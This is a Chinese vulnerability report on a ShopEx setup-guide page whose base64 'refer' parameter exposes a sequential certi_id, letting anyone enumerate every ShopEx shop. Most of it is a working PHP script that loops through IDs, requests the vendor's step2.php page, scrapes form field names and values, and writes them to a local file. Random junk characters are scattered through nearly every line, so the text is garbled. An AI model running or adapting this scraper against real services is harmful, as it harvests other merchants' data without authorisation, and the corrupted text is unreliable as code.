|
|
简要描述:
# c; d* d; i6 P3 N' bShopEx某接口缺陷,可遍历所有网站
" E' O* q+ h4 D; F. h详细说明:& O: |4 b) ^- X8 h4 l7 i2 h9 f9 U
问题出现在shopex 网店使用向导页面
" c, d' o6 w3 W4 h: p6 Y: X
" g3 Z5 t$ w' L2 ^
( s2 k: r- N% l1 C7 @( ~* n1 a; }: S4 r/ ]# m0 \3 ?1 P6 N4 m
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
2 s% h4 d% d# j4 |7 k! O9 R; Y, r
6 p: ~) T* e* q$ o3 b$ J' G9 }+ M* ^# p0 I4 L5 ]0 [: _
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}, s, @9 o# q, t
9 ]6 B: l9 T- x: T4 j# Z
1 T( O# ~+ N1 X/ m `/ p: n
$ C; M8 q% u+ Y5 C我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
4 V+ `7 M( [8 U1 i( @% Z/ b/ y+ h- r: U% {+ h4 {
' w$ i+ ?5 Q9 c i4 `9 U8 U
& t8 \3 R/ e$ y% O<?php
/ p; F4 G/ G; Z2 G; V8 D0 K3 }
+ x4 ~. F, [2 x" b5 A6 W( I1 N for ($i=1; $i < 10000; $i++) { //遍历* |4 v0 _9 u( V3 e) N) ^
2 I- b' y7 N$ h, F) {3 W- G ShowshopExD($i);
- {, K0 _% Z8 i: S9 |- b
$ ?/ @6 ]" B- K, ]9 e" p }
. i+ p, D. G! |) k2 z- M- e7 v$ e6 h8 [2 [) B/ g
function ShowshopExD($cid) {9 H/ V" q, s; b; L3 f7 [
# E' J9 i# Q+ Z4 F( O& H
$url='http://guide.ecos.shopex.cn/step2.php';
7 A$ d' g2 J% ]4 ^0 \ k v Q( t6 }. Q- K0 V
$refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');6 ^7 G# T3 o1 k! K3 |2 d2 O( m! Z
5 Z* [9 Y9 w9 g% x. X0 x $url = $url.'?refer='.$refer;! Z! ]) y! O, }( N5 Q
, Q: Q+ Q1 i* o3 ? $ch = curl_init($url);: C. u4 S, M0 W! |9 C: F
. }: R+ ]' ^) D3 A# }+ ^5 q curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;' j0 O$ V; R M4 y8 K* z
4 s' O: s5 {; W6 v" U& h' j5 s curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;# B6 J. l6 T0 N! z
7 m! ]2 h' a2 m) a/ i $result = curl_exec($ch);
2 r. \/ G: h" x! h, b4 A% [" T
: {% d/ |, r' Y: Y1 l5 \ $result = mb_convert_encoding($result, "gb2312", "UTF-8");: \" P& \- Z* p6 Z; G6 }( |
1 K7 U" I+ e8 r1 `$ z, U if(strpos($result,$refer))+ l% L5 B% ?/ _8 y, N. ~
( U" Q" r O. S- a/ L
{8 `: k+ H, D- G3 ` m+ \9 r
2 B1 R- f. B( | Y9 F4 `
$fp = fopen("c:/shopEx.txt",'ab'); //保存文件
& _: p+ ?; W9 F9 g
9 }/ i7 Z5 g' m) }1 a preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
) Z/ {! z/ \5 U4 l, H$ [. ?$ f6 `, p& R
foreach ($value[1] as $key) {
* b9 ?8 B: @( D3 O# p
8 m8 w5 o T) L+ Q& D preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
% l [" B: N$ C: T6 B; p" d3 i6 P, a: A& X/ G! n& }0 V
echo $res[1][0].':'.$res[3][0]."\r\n";9 y$ q6 M: ?7 d5 P- X. h
- w/ t5 K$ X! [; \# b$ `5 V4 E! H $col =$res[1][0].':'.$res[3][0]."\r\n";
) F+ o: l% ?7 a( B* C2 I
6 a e) Q' G0 Z ^ fwrite($fp, $col, strlen($col)); . B8 {# m6 x6 x X
2 K# G8 }/ ?9 p5 w, L }( m2 _* e+ W- U8 Q& j
( y/ M& B! Q3 [8 `# N( W echo '--------------------------------'."\r\n";- q- M) N, X. a4 U
" K& P0 v0 f8 \. G, m
fclose($fp);
$ c0 P" }0 z9 Z- j& d8 K! _
, j3 h; o- n* V% m) [. y( s! Y7 T }1 h1 x/ d" u: x4 m$ X8 J4 u2 G7 O" q
+ O+ {& c9 M' e; n flush();
9 o% G1 V6 U2 w5 C: E+ I& r4 Y
6 ^# P- ], K" M' r: e+ @ curl_close($ch);
) d! R9 V8 t, S7 ~) w* W3 e3 V$ V3 }; Z# k3 R" J. w; w
}2 O* d- ^: O/ d7 Q2 N) s
6 I3 V+ a: P& m/ u, d' `4 a+ W, C
?>
" E$ i* }. v6 u5 L/ t0 E2 J漏洞证明:
$ K% {5 }- ?! n; ~8 @, `http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
o" y& e0 s3 ^$ g; V1 prefer换成其他加密方式
7 q/ r: @8 o" b0 U% s6 Y! {2 T+ ] |
|